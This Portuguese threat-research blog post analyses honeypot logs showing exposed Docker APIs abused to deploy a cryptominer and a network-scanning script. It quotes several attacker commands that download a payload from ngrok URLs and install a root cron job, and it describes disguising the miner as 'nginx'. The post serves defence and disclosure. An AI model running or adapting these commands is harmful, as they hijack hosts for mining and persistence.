Controles de API de Docker exposto e imagem comunitária são explorados para distribuir malware de mineração de criptomoeda

Por meio da análise dos honeypots de container que montamos para monitorar ameaças, descobrimos algumas atividades, voltadas para mineração de criptomoedas, indesejadas ou não-autorizadas que chamaram a atenção: foram distribuídos containers maliciosos, baseados em uma imagem comunitária publicada no Docker Hub. Esta imagem está sendo explorada dentro de um esquema que distribui malware para mineração de criptomoedas. Ferramentas de rede estão sendo usadas para a realização de movimentação lateral em outros containers e aplicativos.

Aplicamos os honeypots no modo default, ou seja, com a configuração de fábrica e sem medidas de segurança ou programas pós-instalação (note que o Docker traz uma lista de melhores práticas justamente para evitar configurações falhas em situações reais). Estes honeypots são, na verdade, hosts de containers criados para receber ataques que são direcionados à plataforma em si, e não às aplicações dos containers.

As atividades descobertas também são significativas no sentido de que não precisam explorar vulnerabilidades nem dependem de uma versão específica do Docker. Identificar uma imagem mal configurada e exposta é tudo de que um invasor precisa para infectar vários hosts.

Quando exposto, o API do Docker permite que o usuário execute uma grande variedade de comandos, incluindo a execução dos containers, obtenção de logs de um container específico, rodar, parar ou matar um container e mesmo criar um novo com uma imagem própria e opções.

Figura 1. Como os conteúdos são entregues (esquerda) e a visualização do ambiente do invasor, que permite que as imagens sejam implantadas remotamente (direita).

Figura 2. Distribuição por país dos 3,762 APIs de Docker expostos, baseadas em resultados de busca no Shodan (em 12 fevereiro de 2019)

 

Sequência de ataques e seus conteúdos

Descobrimos estas atividades não apenas por meio de nossos honeypots. Dados recentes do Shodan (figura 2) mostram que o volume de APIs de Docker expostos aumentou desde nossa última pesquisa em um container mal configurado que foi usado como trampolim para instalação do malware de mineração Monero. Em outubro do ano passado, foram apenas 856 APIs expostas.

Nossa análise mais aprofundada dos logs dos honeypots mostrou que o uso da imagem também envolve a exploração do ngrok, uma ferramenta usada para se estabelecer conexões seguras ou transmitir tráfego de endpoints acessíveis publicamente para endereços ou recursos específicos (ex. um localhost). Isso permite aos invasores criar dinamicamente URLs para quando os conteúdos forem despejados no alvo exposto. Abaixo seguem exemplos de código dos logs, mostrando como o ngrok é explorado:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

 

Como podemos ver acima, os arquivos baixados são recuperados de URLs em constante mudança. Os URLs têm tempo de vida curto, de modo que os conteúdos não podem ser baixados uma vez expirem.

Há dois tipos de conteúdo. O primeiro é um formato executável e de ligação para Linux (ELF) com um minerador de criptomoedas compilado (detectado pela Trend Micro como sendo  Coinminer.SH.MALXMR.ATNO) que se conecta a um pool de mineração. O segundo é um shell script (TrojanSpy.SH.ZNETMAP.A) criado para recuperar certas ferramentas de rede. Eles são usados para escanear limites predefinidos de rede e então buscar por novos alvos.

Um dropper define duas variáveis que serão usadas posteriormente para implantar o minerador de criptomoeda. A variável HOST contém o URL que hospeda os arquivos maliciosos, enquanto a RIP traz o nome do arquivo (que é o arquivo hash) do minerados que vai ser implantado. A HOST muda cada vez que a variável do hash muda. A implantação do script também já procura assegurar que não há outro minerador ativo no alvo.

Figura 3. Exemplo de variáveis HOST e RIP para quando o minerador é instalado (alto) e trecho de código mostrando como o script garante que nenhum outro minerador está ativo (meio e inferior)

Antes do minerador ser executado, ele é renomeado para “nginx”. Outras versões desse script renomeiam o minerador como se fossem outros serviços reais que são encontrados em ambientes Linux. Isso é feito para evitar detecção quando processos em execução são listados.

O script de mapeamento também tem recursos que se destacam. Ele usa o mesmo serviço de URL para instalar as ferramentas de que precisa. Entre elas, está um binário de Linux chamado zmap, que é usado para escanear redes e encontrar portas acessíveis. Ele também baixa um outro binário para interagir com o serviço em questão e pega seu banner para descobrir mais informações a seu respeito (ex. versão que está rodando).

Este script também predefine alguns sets de limites de rede que devem ser escaneados. Isso varia de acordo com a versão do script. Ele define portas específicas usadas pelos serviços-alvos – neste caso, o Docker – antes de começar o processo de escaneamento.

Uma vez que potenciais alvos são identificados, seus banners são coletados na hora. O script também filtra os alvos para ter aderência a seus serviços, aplicativos, componentes e plataformas de interesse: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker client version 1.16 e Apache CouchDB. Se um host escaneado bate com o filtro, ele é gravado como um arquivo de texto, que os invasores podem utilizar futuramente. Os arquivos de texto são subidos no servidor por meio de links dinâmicos. Isso significa que diferentes URLs são usadas para cada arquivo de texto, o que dificulta acessá-los.

Como mostramos nos trechos de código das figuras 4 e 5, a imagem Docker é usada como vetor para fazer o ataque.

 

Figura 4. O minerador renomeado para legitimar os serviços (superior) e como o zmap é usado para escanear a rede (inferior)

 

Figura 5. O script predefinindo os limites de varredura de rede (superior) e definindo quais portas serão procuradas para serviços específicos, incluindo Docker (inferior)

Figura 6. Screenshot mostrando o container “alpine-curl” com mais de 10 milhões de downloads

Uma imagem de Docker pode ser montada no Linux Alpine com o curl instalado, uma ferramenta de linha de comando que é eficiente no uso de recursos para transferência de arquivos por diversos protocolos. Como mostrado na figura 6, o container “curl” já tem mais de 10 milhões de downloads. O grande número de downloads pode ser atribuído ao uso do curl da imagem como ponto de entrada, dado que sua última atualização foi há mais de 6 meses, e as outras imagens do mesmo repositório não terem o mesmo volume de downloads. No Docker, o ponto de entrada é um set de instruções usado para configurar o container para rodar como um executável. Se as configurações de ponto de entrada do container foram malfeitas (ex. deixando-o exposto na internet), ele pode ser usado como um vetor de ataque. Os hackers, por exemplo, podem usá-lo para distribuir seus conteúdos quando descobrem um container assim.

É importante notar que a imagem Docker (o alpine-curl, no caso) não é, em si, malicioso. Ocorre que, com mostrado, ele foi explorado para ajudar a executar funções maliciosas. Imagens similares podem ter sido igualmente exploradas para realizar outros tipos de atividade ilegal. Já estamos em contato com o Docker para tratar deste assunto.

Recomendações

Configurações ruins continuam sendo um desafio para muitas organizações, em particular aquelas usando DevOps, que foca em desenvolvimento e entregas eficientes. O impacto é amplificado pela necessidade de se manter conformidade com auditoria, monitoramento e normas de privacidade de dados, e das pesadas sanções que elas impõem. Integrar segurança automatizada no ciclo de desenvolvimento não só ajuda a enxergar falhas em segurança que podem ter passado despercebidas; isso também ajuda a reduzir o workload supérfluo, como fazer diversas builds para aplicativo para cada falha de configuração ou vulnerabilidade identificada depois da criação do app.

O incidente discutido neste post destaca a necessidade de se implantar segurança por design, o que inclui estas recomendações:

  • Para administradores de sistemas e desenvolvedores, sempre checar a configuração da API e garantir que esteja configurada para receber requests somente de hosts autorizados ou fontes internas na rede
  • Implementar o princípio do menos privilégio, garantir que as imagens sejam autenticadas e assinadas, restringir o acesso a componentes críticos (como o serviço daemon que ajuda a executar os containers e criptografar as conexões de red.
  • Seguir as melhores práticas e ativar mecanismos de segurança, como o guia do Docker e recursos.
  • Utilizar varredura automática em execução para ampliar a visibilidade dos processos do container (ex. determinar se foi adulterado ou se tem vulnerabilidades). Controle de aplicação e monitor de integridade ajudam a ficar de olho em mudanças anormais em servidores, arquivos e áreas do sistema.

A Trend Micro ajuda as equipes de DevOps a criar com agilidade, distribuir rapidamente e executar de qualquer lugar. O Hibrid Cloud Security oferece segurança confiável, ajustada e automatizada dentro do pipeline de DevOps da empresa e traz diversas técnicas de defesa do XGen, para proteger workload físicos, virtuais e em nuvem durante a execução. Ele também dá proteção adicional para containers por meio do Deep Security e o do Deep Security Smart Check, que escaneia imagens em busca de malware e vulnerabilidades em qualquer intervalo do pipeline de desenvolvimento para impedir as ameaças antes que cheguem ao sistema.

Indicadores de Comprometimento (IoCs):

  • Hashes relacionados (SHA-256):
  • 1bce7432f6c430e3a077562b3c43021674d958a3 (Coinminer.SH.MALXMR.ATNO)

5bab7cbb68c74d581370c5e10d3e13c6e3ac93bd (TrojanSpy.SH.ZNETMAP.A)

Categorias

Veja outras publicações

Menu